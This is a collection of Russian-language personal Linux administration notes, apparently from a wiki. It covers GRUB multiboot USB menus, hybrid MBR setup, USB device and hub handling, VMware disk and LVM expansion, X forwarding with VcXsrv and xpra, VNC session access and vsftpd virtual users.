sudo mount ${disk}3 /mnt/usb_efi/

Установка grub и EFI

sudo grub-install --target=x86_64-efi --recheck --removable --efi-directory=/mnt/usb_efi/ --boot-directory=/mnt/usb_data/boot-grub ${disk}
sudo grub-install --target=i386-pc --recheck --boot-directory=/mnt/usb_data/boot-grub --force ${disk}

grub.cfg

Ну и дальше настраиваем grub, редактируя файлик /mnt/usb_data/boot-grub/grub/grub.cfg:
http://trcmdisk01.tripod.com/linux/s_mmlf01.html

set gfxmode=auto
insmod all_video

# https://github.com/dwarmstrong/grubs/blob/master/boot/grub/grub.cfg.sample
submenu "Ubuntu ->" {
	set menu_color_normal=white/black
	set menu_color_highlight=white/green

	menuentry "Try or Install Xubnuntu 24.04.01 Minimal" {
		set iso="/xubuntu-24.04.1-minimal-amd64.iso"
		loopback loop ${iso}
		linux   (loop)/casper/vmlinuz iso-scan/filename=${iso} file=(loop)/cdrom/preseed/xubuntu.seed maybe-ubiquity quiet splash ---
		initrd  (loop)/casper/initrd
	}
	menuentry "Try or Install Kubuntu 24.04.1" {
		set iso="/kubuntu-24.04.1-desktop-amd64.iso"
		loopback loop ${iso}
		linux	(loop)/casper/vmlinuz  iso-scan/filename=${iso}  --- quiet splash
		initrd	(loop)/casper/initrd
	}
	menuentry "Try or Install Linux Mint 21.3 Cinnamon 64-bit" {
		set iso="/linuxmint-21.3-cinnamon-64bit.iso"
		loopback loop ${iso}
		linux	(loop)/casper/vmlinuz  iso-scan/filename=${iso} boot=casper username=mint hostname=mint quiet splash --
		initrd	(loop)/casper/initrd.lz
	}
	menuentry "Try or Install Kubnuntu 19.04 Desktop" {
		set iso="/kubuntu-19.04-desktop-amd64.iso"
		loopback loop ${iso}
		set gfxpayload=keep
		linux	(loop)/casper/vmlinuz  iso-scan/filename=${iso} file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
		initrd	(loop)/casper/initrd
	}
	menuentry "Install Kubnuntu 18.04.1 Desktop" {
		set iso="/kubuntu-18.04.1-desktop-amd64.iso"
	    	loopback loop ${iso}
		set gfxpayload=keep
		linux	(loop)/casper/vmlinuz  iso-scan/filename=${iso} file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
		initrd	(loop)/casper/initrd
	}
}
submenu "Debian ->" {
	menuentry "Live system (amd64)" --hotkey=l {
		set iso="/debian-live-12.9.0-amd64-xfce.iso"
		loopback loop ${iso}
		linux	(loop)/live/vmlinuz-6.1.0-29-amd64 boot=live components quiet splash iso-scan/filename=${iso} findiso=${iso}
		initrd	(loop)/live/initrd.img-6.1.0-29-amd64
	}
	menuentry "Live system (amd64 fail-safe mode) ????" {
		set iso="/debian-live-12.9.0-amd64-xfce.iso"
		loopback loop ${iso}
		linux	(loop)/live/vmlinuz-6.1.0-29-amd64 boot=live components memtest noapic noapm nodma nomce nosmp nosplash vga=788 iso-scan/filename=${iso} findiso=${iso}
		initrd	(loop)/live/initrd.img-6.1.0-29-amd64
	}
	menuentry 'Start Debian 12.9.0 installer' {
		set iso="/debian-live-12.9.0-amd64-xfce.iso"
		loopback loop ${iso}
		linux	(loop)/install/gtk/vmlinuz iso-scan/filename=${iso} vga=788  --- quiet
		initrd	(loop)/install/gtk/initrd.gz
	}
	menuentry 'Debian 12.9.0 i386 Graphical install' {
		set iso="/debian-12.9.0-i386-DVD-1.iso"
		loopback loop ${iso}
		set background_color=black
		linux    (loop)/install.386/vmlinuz iso-scan/filename=${iso} vga=788 --- quiet 
		initrd   (loop)/install.386/gtk/initrd.gz
	}
}
submenu "KNOPPIX ->" {
	set menu_color_normal=white/black
	set menu_color_highlight=white/green
	menuentry "KNOPPIX_V9.1DVD-2021-01-25-EN LiveCD 64-bit Linux Kernel v.5.10.10" {
		set iso="/KNOPPIX_V9.1DVD-2021-01-25-EN.iso"
		loopback loop ${iso}
		linux (loop)/boot/isolinux/linux64 bootfrom=${iso} keyboard=us language-us
		initrd (loop)/boot/isolinux/minirt.gz
	}
	menuentry "KNOPPIX_V8.6.1-2019-10-14-EN LiveCD 32-bit Linux Kernel v5.3.5" {
		set iso="/KNOPPIX_V8.6.1-2019-10-14-EN.iso"
		loopback loop ${iso}
		linux (loop)/boot/isolinux/linux bootfrom=${iso} keyboard=us language-us
		initrd (loop)/boot/isolinux/minirt.gz
	}
	menuentry "KNOPPIX_V7.2.0CD-2013-06-16-EN LiveCD NOT WORKING. Kernel panic. No init found. Try passing init= option to kernel" {
		set iso="/KNOPPIX_V7.2.0CD-2013-06-16-EN.iso"
		loopback loop ${iso}
		linux (loop)/boot/isolinux/linux bootfrom=${iso} keyboard=us language-us
		initrd (loop)/boot/isolinux/minirt.gz
	}
}
submenu "SystemRescueCD ->" {
	set menu_color_normal=white/black
	set menu_color_highlight=white/green
	menuentry 'Boot SystemRescue 11.03 using default options' {
		set gfxpayload=keep
		probe --set devuuid --fs-uuid (hd0,gpt1)
		set iso="/systemrescue-11.03-amd64.iso"
		loopback loop ${iso}
		linux (loop)/sysresccd/boot/x86_64/vmlinuz archisobasedir=sysresccd img_dev=/dev/disk/by-uuid/${devuuid} img_loop=${iso} iomem=relaxed 
		initrd (loop)/sysresccd/boot/intel_ucode.img (loop)/sysresccd/boot/amd_ucode.img (loop)/sysresccd/boot/x86_64/sysresccd.img
	}

	menuentry 'Boot SystemRescue 11.03 and copy system to RAM (copytoram)' {
		set gfxpayload=keep
		probe --set devuuid --fs-uuid (hd0,gpt1)
		set iso="/systemrescue-11.03-amd64.iso"
		loopback loop ${iso}
		linux (loop)/sysresccd/boot/x86_64/vmlinuz archisobasedir=sysresccd iomem=relaxed img_dev=/dev/disk/by-uuid/${devuuid} img_loop=${iso} copytoram
		initrd (loop)/sysresccd/boot/intel_ucode.img (loop)/sysresccd/boot/amd_ucode.img (loop)/sysresccd/boot/x86_64/sysresccd.img 
	}

	menuentry 'Boot SystemRescue 11.03 using basic display drivers (nomodeset)' {
		set gfxpayload=keep
		probe --set devuuid --fs-uuid (hd0,gpt1)
		set iso="/systemrescue-11.03-amd64.iso"
		loopback loop ${iso}
		linux (loop)/sysresccd/boot/x86_64/vmlinuz archisobasedir=sysresccd img_dev=/dev/disk/by-uuid/${devuuid} img_loop=${iso} iomem=relaxed nomodeset
		initrd (loop)/sysresccd/boot/intel_ucode.img (loop)/sysresccd/boot/amd_ucode.img (loop)/sysresccd/boot/x86_64/sysresccd.img
	}
	menuentry "SystemRescueCD 5.3.1 Live, linux kernel v.4.14 (64bit, cache all files in memory and startX) wont start X on AMD Ryzen 4000 series. Shell seems to work." {
		set iso="/systemrescuecd-x86-5.3.1.iso"
		loopback loop ${iso}
		linux (loop)/isolinux/rescue64 isoloop=${iso} setkmap=us docache dostartx nomodeset
		initrd (loop)/isolinux/initram.igz
	}
	menuentry "SystemRescueCD 5.3.1 Live (64bit, default boot options)" {
		set iso="/systemrescuecd-x86-5.3.1.iso"
		loopback loop ${iso}
		linux (loop)/isolinux/rescue64 isoloop=${iso} setkmap=us nomodeset
		initrd (loop)/isolinux/initram.igz
	}
	menuentry "SystemRescueCd 5.3.1 Live (32bit, default boot options)" {
		set iso="/systemrescuecd-x86-5.3.1.iso"
		loopback loop ${iso}
		linux (loop)/isolinux/rescue32 isoloop=${iso} setkmap=us docache nomodeset
		initrd (loop)/isolinux/initram.igz
	}
}
submenu "Windows ->" {
	set menu_color_normal=white/black
	set menu_color_highlight=white/green
	menuentry "Windows 10 Installer" {
		insmod ntfs
		search --set=root --file /bootmgr
		ntldr /bootmgr
		boot
	}

	menuentry "Windows 7 or Windows 10 installer" --class windows --class os {
		insmod part_msdos
		insmod ntfs
		insmod ntldr
		search --no-floppy --file /bootmgr --set=root
		ntldr /bootmgr
		boot
	}
}
submenu 'Utilities...' {
	menuentry 'Memtest86+ memory tester for UEFI from SystemRescueCD 11.03' {
		insmod fat
		set gfxpayload=800x600,1024x768
		set iso="/systemrescue-11.03-amd64.iso"
		loopback loop ${iso}
		linux (loop)/EFI/memtest.efi keyboard=both
	}
	menuentry "Memtest 86+ (from Kubnuntu 24.04.1)" {
		loopback loop /kubuntu-24.04.1-desktop-amd64.iso
		set gfxpayload=keep
		linux16	(loop)/boot/memtest86+x64.bin
	}
	menuentry 'Start EFI Shell' {
		insmod fat
		insmod chain
		terminal_output console
		set iso="/systemrescue-11.03-amd64.iso"
		loopback loop ${iso}
		chainloader (loop)/EFI/shell.efi
	}
}

ну и старая версия

if [ x$feature_all_video_module = xy ]; then
    insmod all_video
else
    insmod efi_gop
    insmod efi_uga
    insmod ieee1275_fb
    insmod vbe
    insmod vga
    insmod video_bochs
    insmod video_cirrus
fi

menuentry "Install Kubnuntu 21.04 Desktop" {
    loopback loop /kubuntu-21.04-desktop-amd64.iso
    set gfxpayload=keep
    linux	(loop)/casper/vmlinuz  iso-scan/filename=/kubuntu-21.04-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed maybe-ubiquity quiet splash ---
    initrd	(loop)/casper/initrd
}

menuentry "KNOPPIX_V8.2-2018-05-10-EN LiveCD" {
loopback loop /KNOPPIX_V8.2-2018-05-10-EN.iso
linux (loop)/boot/isolinux/linux bootfrom=/KNOPPIX_V8.2-2018-05-10-EN.iso keyboard=us language-us
initrd (loop)/boot/isolinux/minirt.gz
}

menuentry "KNOPPIX_V7.2.0CD-2013-06-16-EN LiveCD" {
loopback loop /KNOPPIX_V7.2.0CD-2013-06-16-EN.iso
linux (loop)/boot/isolinux/linux bootfrom=/KNOPPIX_V7.2.0CD-2013-06-16-EN.iso keyboard=us language-us
initrd (loop)/boot/isolinux/minirt.gz
}

menuentry "SystemRescueCd 5.3.1 Live (64bit, cache all files in memory and startX)" {
 loopback loop /systemrescuecd-x86-5.3.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd-x86-5.3.1.iso setkmap=us docache dostartx
 initrd (loop)/isolinux/initram.igz
}

menuentry "SystemRescueCd 5.3.1 Live (64bit, default boot options)" {
 loopback loop /systemrescuecd-x86-5.3.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd-x86-5.3.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}

menuentry "SystemRescueCd 5.3.1 Live (32bit, default boot options)" {
 loopback loop /systemrescuecd-x86-5.3.1.iso
 linux (loop)/isolinux/rescue32 isoloop=/systemrescuecd-x86-5.3.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}

menuentry "Install Kubnuntu 18.04.1 Desktop" {
    loopback loop /kubuntu-18.04.1-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz  iso-scan/filename=/kubuntu-18.04.1-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
	initrd	(loop)/casper/initrd
}

menuentry "Install Kubnuntu 18.04.2 Server" {
    set isofile="/ubuntu-18.04.2-live-server-amd64.iso"
    loopback loop $isofile
    linux (loop)/casper/vmlinuz iso-scan/filename=$isofile boot=casper quiet ---
    initrd (loop)/casper/initrd
}

menuentry "Install Kubnuntu 19.04 Desktop" {
    loopback loop /kubuntu-19.04-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz  iso-scan/filename=/kubuntu-19.04-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
	initrd	(loop)/casper/initrd
}

menuentry "Install Ubnuntu 20.04 Server" {
    insmod part_gpt
    insmod ext2
    insmod search_fs_uuid
    rmmod tpm

    search --no-floppy --set=root --fs-uuid 36c1a912-77c7-4cec-8120-c2088e1e131c
    
    set isofile="/ubuntu-20.04-live-server-amd64.iso"
    set gfxpayload=keep
    
    loopback loop ($root)$isofile

	linux	(loop)/casper/vmlinuz iso-scan/filename=${isofile} quiet ---
	initrd	(loop)/casper/initrd
}

menuentry "Install Ubuntu Server 16.04 i386" {
    loopback loop /ubuntu-16.04.6-server-i386.iso
	set gfxpayload=keep
	linux	(loop)/install/vmlinuz isoloop=/ubuntu-16.04.6-server-i386.iso file=/cdrom/preseed/ubuntu-server.seed quiet splash ---
	initrd	(loop)/install/initrd.gz
}

menuentry "Install Ubuntu Server 16.04 x64" {
    loopback loop /ubuntu-16.04.6-server-amd64.iso
	set gfxpayload=keep
	linux	(loop)/install/vmlinuz iso-scan/filename=/ubuntu-16.04.6-server-amd64.iso file=/cdrom/preseed/ubuntu-server.seed quiet splash ---
	initrd	(loop)/install/initrd.gz
}

menuentry 'Debian 10 i386 Install' {
    set background_color=black
    loopback loop /debian-edu-10.0.0-i386-netinst.iso
    linux    (loop)/install.386/gtk/vmlinuz findiso=/debian-edu-10.0.0-i386-netinst.iso modules=debian-edu-install-udeb desktop=xfce vga=788 --- quiet 
    initrd   (loop)/install.386/gtk/initrd.gz
}

menuentry "Memtest 86+ (from Kubnuntu 19.04)" {
    loopback loop /kubuntu-19.04-desktop-amd64.iso
	set gfxpayload=keep
	linux16	(loop)/install/mt86plus
}

Загрузка образов дискет (FreeDOS, MemTest, MHDD, etc...)

В образе SystemRescueCD в папке /bootdisk есть образы дискет DOS с разными утилитами. Пока что мне не удалось запустить ни один из таких образов. Однако, известно, что для их запуска используется утилита memdisk, которая лежит в папке /isolinux.
Немного информации есть тут: https://www.linux.org.ru/forum/general/9653654
Общий принцип - в качестве ядра указывается memdisk, а в качестве initrd - образ дискеты

linux16 (loop)/isolinux/memdisk
initrd16 (loop)/isolinux/fdboot.img

Установка Windows с такой UEFI-флешки

После копирования файлов iso-образа на раздел:

rsync -av /mnt/cdrom/ /mnt/flash/

Выяснилось, что стандартный способ загрузки Windows из grub на такой флешке не работает!

menuentry "Windows 10 Installer" {
    insmod ntfs
    search --set=root --file /bootmgr
    ntldr /bootmgr
    boot
}

Оказалось, что bootmgr, используемый для загрузки компьютеров с BIOS не загружается с GPT-разделов. С GPT-разделов может загружаться только bootx64.efi, для работы которого нужен EFI.
Если попытаться загрузить bootmgr с такой флешки, то комп просто перезагрузится. Без всяких сообщений.
Вариантов загрузки Windows на BIOS-компьютере с GPT-диском несколько.
Первый - DUET (Developer’s UEFI Environment). В этом случае, сначала загружается эмулятор EFI, который загружает bootx64.efi.
Второй - использование режима hybrid MBR. Это можно сделать утилитой gdisk.

Hybrid MBR - гибридный MBR

https://www.rodsbooks.com/gdisk/hybrid.html
Обычный GPT-диск имеет запись MBR с единственным разделом типа 0xEE (EFI GPT), внутри которого размещаются разделы GPT.
Гибридный MBR, помимо основного раздела типа 0xEE (EFI GPT) может содержать сведения о дополнительных (до трех штук) разделах, границы которых совпадают с границами разделов, описанных в GPT.
Таким образом, операционки и утилиты, которые не знают ничего про GPT смогут работать и с GPT-разделов. Просто сведения о них они будут получать из MBR.
Очень важно, не давать таким утилитам и операционкам изменять таблицу разделов. В противном случае - они просто порушат GPT.
Такая конфигурация не описана стандартами и разные ОС обрабатывают её по разному. Поведение различных ОС при встрече с таким чудом описано тут.
Запускаем gdisk:

sudo gdisk $disk

Переходим в Recovery/transformation меню:

Теперь создаем гибридную запись MBR:

Программа спросит - какие разделы должны быть добавлены в таблицу разделов гибридной записи вводим их номера через пробел:

Type from one to three GPT partition numbers, separated by spaces, to be
added to the hybrid MBR, in sequence:1 2 3 4

Дальше - система спросит хотим ли мы разместить первой таблицу EFI, чтобы работал GRUB. Отвечаем yes.
А также - какие коды типов присвоить разделам гибридной таблицы и делать ли их загрузочными.
Загрузочной делаем только 4-ю партицию.
Записываем изменения w.

В двух словах - диск с гибридизированными разделами нельзя модифицировать утилитами, которые к этому не готовы (fdisk).

unmask_masked_service

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

https://blog.ruanbekker.com/blog/2017/12/09/unmask-a-masked-service-in-systemd/

usb_device_default_mode

anonymous@undisclosed.example.com (Anonymous) — Tue, 03 Nov 2020 20:08:29 +0000

Иногда при подключении USB-устройства оно определяется в системе как накопитель (USB-flash или USB CD-ROM). Например - модемы или Wi-Fi адаптеры.
https://www.linux.org.ru/forum/linux-hardware/10060236

Переключание модема в режим "только модем"

http://linux-bash.ru/mseti/99-minicom.html

usb_modeswitch

http://rus-linux.net/MyLDP/hard/modeswitch.html
https://askubuntu.com/questions/1080944/automatically-use-usb-modeswitch-for-wifi-usb

Как пользоваться usb-modeswitch

sudo apt-get install usb-modeswitch

Мне нужно заставить работать USB Wi-Fi донгл CF-WU782AC на базе Realtek MT7612UN.
При подключении он определяется как CD-ROM:

idVendor=0e8d, idProduct=2870

а должен определяться как Wi-Fi:

idVendor=0e8d, idProduct=7612

После установки пакета usb-modeswitch я проверяю файл /lib/udev/rules.d/40-usb_modeswitch.rules и не обнаруживаю там ни строки 2870, ни 7612.
Значит придется их туда дописать:

echo "ATTR{idVendor}==\"0e8d\", ATTR{idProduct}==\"2870\", RUN+=\"usb_modeswitch '/%k'\"" | sudo tee -a /lib/udev/rules.d/40-usb_modeswitch.rules

usb_hub_reset

anonymous@undisclosed.example.com (Anonymous) — Mon, 25 Oct 2021 14:28:23 +0000

Отключение и подключение USB-хаба к шине

Выполняем:

lsusb

И смотрим номер шины и девайса USB hub (их может быть несколько) - Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub.
Теперь находим идентификатиов и тип:

lsusb -v -s 1:1 | grep 'iSerial\|iProduct'

iProduct                2 xHCI Host Controller
iSerial                 1 0000:00:15.0

Теперь можно отключить устройство (драйвер xhci_hcd должен соответствовать типу iProduct):

echo -n "0000:00:15.0" | sudo tee /sys/bus/pci/drivers/xhci_hcd/unbind

убедиться что хаба нету:

lsusb

и подключить обратно:

echo -n "0000:00:15.0" | sudo tee /sys/bus/pci/drivers/xhci_hcd/bind

Управление питанием USB-хаба

https://www.kernel.org/doc/html/v4.12/driver-api/usb/power-management.html
Смотрим:

cat /sys/bus/usb/devices/usb2/power/runtime_status

И тут может быть либо suspended либо active
Включаем:

echo -n 'on' | sudo tee /sys/bus/usb/devices/usb2/power/control

И на всякий случай выключаем autosuspend, чтобы USB-устройства не засыпали:

echo 'options usbcore autosuspend=-1' | sudo tee -a /etc/modprobe.d/usbcore.conf

А если модуль usbcore вкомпилирован в ядро, то редактируем /etc/default/grub и добавляем к GRUB_CMDLINE_LINUX_DEFAULT такое:

usbcore.autosuspend=-1

А потом:

sudo update-grub

sudo reboot

using_ftp_in_bash_scripts

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Получаем список файлов во временный файл /tmp/listing.txt:

ftp -nv <<EOF
open $hostname
user $username $password
cd $dir
nlist *abc.123.* /tmp/listing.txt
bye
EOF

Находим последний файл:

latest_file=`tail -1 /tmp/listing.txt`

Скачиваем его:

ftp -nv <<EOF
open $hostname
user $username $password
binary
cd $dir
get $latest_file
bye
EOF

Проверяем количество свободного места:

ftp> site df -kl

using_openscap_in_ubuntu_16.04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Использование openscap в Ubuntu 16.04

using_windows_xserver_vcxsrv_with_graphical_applications_running_in_lxc_container

anonymous@undisclosed.example.com (Anonymous) — Tue, 08 Sep 2020 07:25:58 +0000

Задача

Мне нужно опубликовать графическое приложение Linux, которое исполняется в lxc-контейнере, средствами Citrix.
Применить стандартный подход, когда на linux-машину устанавливается VDA - не получается, поскольку VDA требует прямого доступа к устройствам, а в контейнере это можно сделать не всегда.
В идеале после аутентификации на StoreFront пользователь должен видеть иконку приложения, кликать ее и получать окно linux-приложения (или графическое рабочее окружение), исполняющееся в lxc-контейнере.

Реализация

У меня есть lxc-контейнер с установленой в нем оболочкой XFCE, тестовая ферма Citrix, с сервером, на котором я могу публиковать windows-приложения.
На Windows-сервере я запускаю X-сервер VcXsrv Windows X Server к которому будет подключаться графическое приложение-клиент (xfce4-session) для отображения своих окон.
Для тестирования, при запуске VcXsrv я его настраиваю так:

Display settings: One Large Window, Display number - 10.
Select how to start clients: Start a Program
Specify program to start: Start program on remote computer
- Remote program:

DISPLAY=__win_host_name_or_ip__:10.0 xfce4-session &

Password: linux user password
Connect to computer: IP-адрес (или имя) lxc-контейнера
Login as user: имя пользователя в контейнере

Extra Settings: Disable access control.

В итоге - VcXsrv подключится к контейнеру по протоколу SSH и запустит там сессию XFCE, используя в качестве X-сервера VcXsrv

Подключение существующих сессий

Например, я уже имею подключенную GUI-сессию с приложениями в lxc-контейнере. Пользователь имеет доступ через xrdp. Мне нужно, чтобы приложения (клиенты) этой GUI-сессии переехали на другой X-сервер (с локального X-сервера на удаленный).
http://xpra.org/

В двух словах как работает xpra. На машине (или в контейнере) можно запустить что-то типа:

xpra start --start=firefox

И в результате на машине (или в контейнере) режиме демона запустится X-сервер к которому присоединится окошко firefox.
А дальше можно запустить на удаленной машине (linux или windows) xpra в режиме клиента (на самом деле клиент и сервер xpra - это одна и та же софтина) и выполнить attach к этому окошку. Соединение приоизойдет по одному из протоколов (ssh, tcp, ssl и всякое разное).
Вместо firefox можно запустить и сессию рабочего стола.
Этот X-сервер будет работать в контейнере независимо от может быть уже запущенного Xorg.

Запуск приложений с помощью xpra

xpra --start=code --username=mike --ssh="ssh -p 223" ssh:localhost

vmware_disk_expand_without_reboot

anonymous@undisclosed.example.com (Anonymous) — Thu, 17 Sep 2020 11:35:18 +0000

Задача - без перезагрузки системы расширить раздел (диск) на виртуальной машине Ubuntu 18.04, которая работает на VMWare.
Управление дисковым пространством организовано стандартно - физическое устройство содержит таблицу разделов GPT (три раздела - BIOS Boot, Linux Boot и раздел с LVM Physical Volume), а структутура LVM включает единственный Physical Volume и единственную Volume Group. Под директории /, /tmp, /var и /home выделены отдельные Logical Volumes.
Например - мне нужно выделить больше места под /var, но на диске место закончилось.
Поехали:

Увеличиваем размер диска в консоли VMWare.

Смотрим путь до устройства:

ls /sys/class/scsi_device/*/device/block/

Там будет что-то такое:

'/sys/class/scsi_device/2:0:0:0/device/block/':
sr0

'/sys/class/scsi_device/32:0:0:0/device/block/':
sda

Нам нужно, чтобы Linux увидела новый размер диска /dev/sda, поэтому выполняем (с привилегиями root):
```
echo 1 > /sys/class/scsi_device/32\:0\:0\:0/device/rescan
```
Проверяем, что диск в GPT:
```
fdisk -l /dev/sda | grep 'Disklabel type: gpt'
```
Если диск имеет таблицу MBR (Disklabel type: dos), то хорошо бы его сконверировать в GPT и починить/переустановить grub. Для этого - перемещаем таблицу разделов в конец диска
```
sgdisk -e -g /dev/sda
```
перечитываем таблицу разделов
```
partx -u /dev/sda
```
создаем новый маленький раздельчик номер 4 с типом EF02 (номер раздела и начальный/конечный сектора у вас будут другими)
```
sgdisk -n 4:293605246:293609946 -t 4:EF02 /dev/sda
```
переустанавливаем grub:
```
grub-install /dev/sda
```
На всякий случай смотрим как разбит сейчас диск, потому что нижеприведенный скрипт ориентирован на то, что диск разбит дефолтно. Возможно, придется просто вручную указать размер последнего (не по номеру, а по размешению на диске) раздела (переменная PART). Вот пример разбиения, когда раздел с большим номером находится ПЕРЕД разделом с меньшим номером (о чем сообщает fdisk):
```
# fdisk -l /dev/sda ...
  * Device     Boot     Start       End   Sectors  Size Id Type
/dev/sda1  *         2048    976895    974848  476M 83 Linux
/dev/sda2          978942 125827071 124848130 59.5G  5 Extended
/dev/sda3       125827072 209715199  83888128   40G 8e Linux LVM
/dev/sda5          978944 125827071 124848128 59.5G 8e Linux LVM

Partition table entries are not in disk order.
```
Теперь на появившемся пустом месте нужно либо создать новый раздел, либо расширить существующий. Я буду расширять. Для этого - можно использовать утилиту growpart, либо - сделать это вручную, с помощью скрипта:
```
#!/bin/bash
set -e
PART=/dev/sda3
#PART=`pvdisplay | grep 'PV Name' | awk '{print $3}'`
PART=${PART#/dev/}
DISK=$(readlink /sys/class/block/$PART)
DISK=${DISK%/*}
DISK=${DISK##*/}
PARTNUM=${PART#"$DISK"}
echo "Partition Number $PARTNUM"
DISK=/dev/$DISK
echo "Block Device - $DISK"
echo "move backup gpt to end of disk"
sgdisk -e -g $DISK
echo "get first partition sector"
FIRSTSECTOR=`sgdisk --info=$PARTNUM /dev/sda | grep 'First sector' | awk '{print $3}'`
echo "get last sector"
ENDSECTOR=$(sgdisk -E $DISK)
echo "End Sector: $ENDSECTOR"
echo "delete current partition"
sgdisk -d $PARTNUM $DISK
echo "replace with new from $FIRSTSECTOR to $ENDSECTOR"
sgdisk -n $PARTNUM:$FIRSTSECTOR:$ENDSECTOR -c $PARTNUM:"Linux LVM $DISK$PARTNUM" -t $PARTNUM:8e00 $DISK
# re-read the partition table entries
partx -u $DISK
pvresize $DISK$PARTNUM
```
Этот скрипт предполагает, что системе есть единственная VolumeGroup, в которую входит единственный PhysicalVolume и он является последним разделом на диске. Скрипт обнаруживает устройство, на котором размещен PhysicalVolume, обнаруживает номер раздела и его начальный сектор, затем - удаляет раздел и заново создает с началом в том же месте и максимальным размером. В завершение - скрипт перечитывает таблицу разделов и ресайзит PhysicalVolume.
Теперь можно создавать новые LogicalVolumes или расширять имеющиеся. Я расширю то что уже есть:
```
lvresize -L +25G /dev/mapper/ubuntu--vg-var
```
И отресайзю файловую систему:
```
resize2fs /dev/mapper/ubuntu--vg-var
```

Также, можно было не увеличивать существующий раздел, а создать новый, на нем создать PhysicalVolume, добавить в VolumeGroup и распределить место между LogicalVolumes. Или даже - просто на уровне Vmware не увеличивать диск, а добавить новый и уже его добавлять в VolumeGroup (даже не разбивая на разделы). В этом случае нужно будет обнаружить новый диск такой командой:

echo "- - -" > /sys/class/scsi_host/host1/scan

Номер scsi_host/host1 может быть другим.

Если что-то сломалось

После этих манипуляций следует проверить, что система нормально (пере)загружается :)
Если нет - смотрим, например, сюда: Fix GRUB

vnc_before_login

anonymous@undisclosed.example.com (Anonymous) — Mon, 24 Jun 2019 09:04:51 +0000

Задача

Нужно сделать подключение к текущей сессии пользователя по vnc.
У пользователя установлена Kubuntu 19.04, при включении пользователь не вводит пароль - система входит автоматически.

KUbuntu

Устанавливаем и настраиваем tigervnc. В составе пакета tigervnc-scraping-server поставляется утилита x0vncserver, котоаря позволяет подключаться к текущей сессии пользователя.

sudo apt-get install tigervnc-scraping-server
mkdir -p ~/.vnc
vncpasswd

Запуск vnc-сервера вручную:

x0vncserver -display :0 -PasswordFile ~/.vnc/passwd

Автоматический запуск при входе пользователя

Создаем файлик ~/.config/autostart-scripts/x0vnc.sh

#!/bin/bash
x0vncserver -display :0 -PasswordFile ~/.vnc/passwd

Делаем его исполняемым и перезагружаемся:

chmod +x ~/.config/autostart-scripts/x0vnc.sh

vsftpd-и-виртуальные-пользователи-virtual-users-on-debian

anonymous@undisclosed.example.com (Anonymous) — Thu, 09 Apr 2020 18:43:20 +0000

Виртуальные пользователи в VsFTPD под Ubuntu/Debian

Ставим необходимые компоненты:

apt-get install libpam-pwdfile vsftpd apache2-utils

Предположим, что сайтики лежат в /srv/www/mysite.ru/htdocs , соответственно ограничиваем пользователя доступом в корневую директорию.
Чистим дефолтный конфиг vsftpd

mv /etc/vsftpd.conf /etc/vsftpd.conf_bak

И записываем туда вот что:

listen=YES
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
nopriv_user=vsftpd
virtual_use_local_privs=YES
guest_enable=YES
user_sub_token=$USER
local_root=/srv/www/$USER
chroot_local_user=YES
hide_ids=YES
chown_uploads=YES
chown_username=vsftpd
guest_enable=YES
guest_username=vsftpd
chown_upload_mode=0775

use_localtime=YES
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES

dirmessage_enable=YES
ascii_upload_enable=YES
ascii_download_enable=YES
ftpd_banner=Welcome developer to WWW server!
ls_recurse_enable=YES
secure_chroot_dir=/var/run/vsftpd/empty

pasv_enable=YES
pasv_min_port=62000
pasv_max_port=64000

Создаем пользователя vsftpd (системным без шела)

useradd -M -r vsftpd

Далее надо настроить pam-аутентификацию.
Для этого открываем файлик /etc/pam.d/vsftpd, комментим всё и добавляем туда две строчки:

auth required pam_pwdfile.so pwdfile /etc/ftpdpasswd
account required pam_permit.so

Теперь создаем файлик /etc/ftpdpasswd:

touch /etc/ftpdpasswd
htpasswd -c /etc/ftpdpasswd

Добавление пользователя осуществляется аналогично, только без опции -с и с названием корневой директории сайта в качестве пользователя:

htpasswd /etc/ftpdpasswd www.mysite.ru

Если возникает ошибка cannot change directory Надо дать права на исполнение для директории /home/vsftpd/ и для директории заданной в файле /etc/vsftpd.conf параметром local_root=:

setfacl -m u:vsftpd:x /home/vsftpd/
setfacl -m u:vsftpd:xrw /mnt/shared/new/XenApp/

Ребутим vsftpd и радуемся..

webloop2

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

wget https://storage.googleapis.com/golang/go1.5.3.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.5.3.linux-amd64.tar.gz
sudo echo "GOPATH=/go" >> /etc/environment
sudo reboot

Добавить /usr/local/go/bin в PATH

sudo reboot

sudo apt-get update -y && sudo apt-get install --no-install-recommends -yq wget build-essential ca-certificates git mercurial bzr dbus xvfb libwebkit2gtk-3.0-dev libgtk-3-dev libcairo2-dev 
cd /go
git clone http://git.autosys.tk/Mike/wixsaver.git $GOPATH/src

https://github.com/pasangsherpa/go-webloop

go get -u -tags gtk_3_10 github.com/pasangsherpa/webloop/…

go get -u -tags gtk_3_10 github.com/sourcegraph/webloop/…

whatsapp_extension

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Вот расширение для Firefox, которое предоставляет доступ к web-интерфейсу WhatsApp.
Мне оно нравится больше всех, однако оно пропало из коллекции расширений: Desktop messenger for WhatsApp™ 0.2.7

wifi_crack

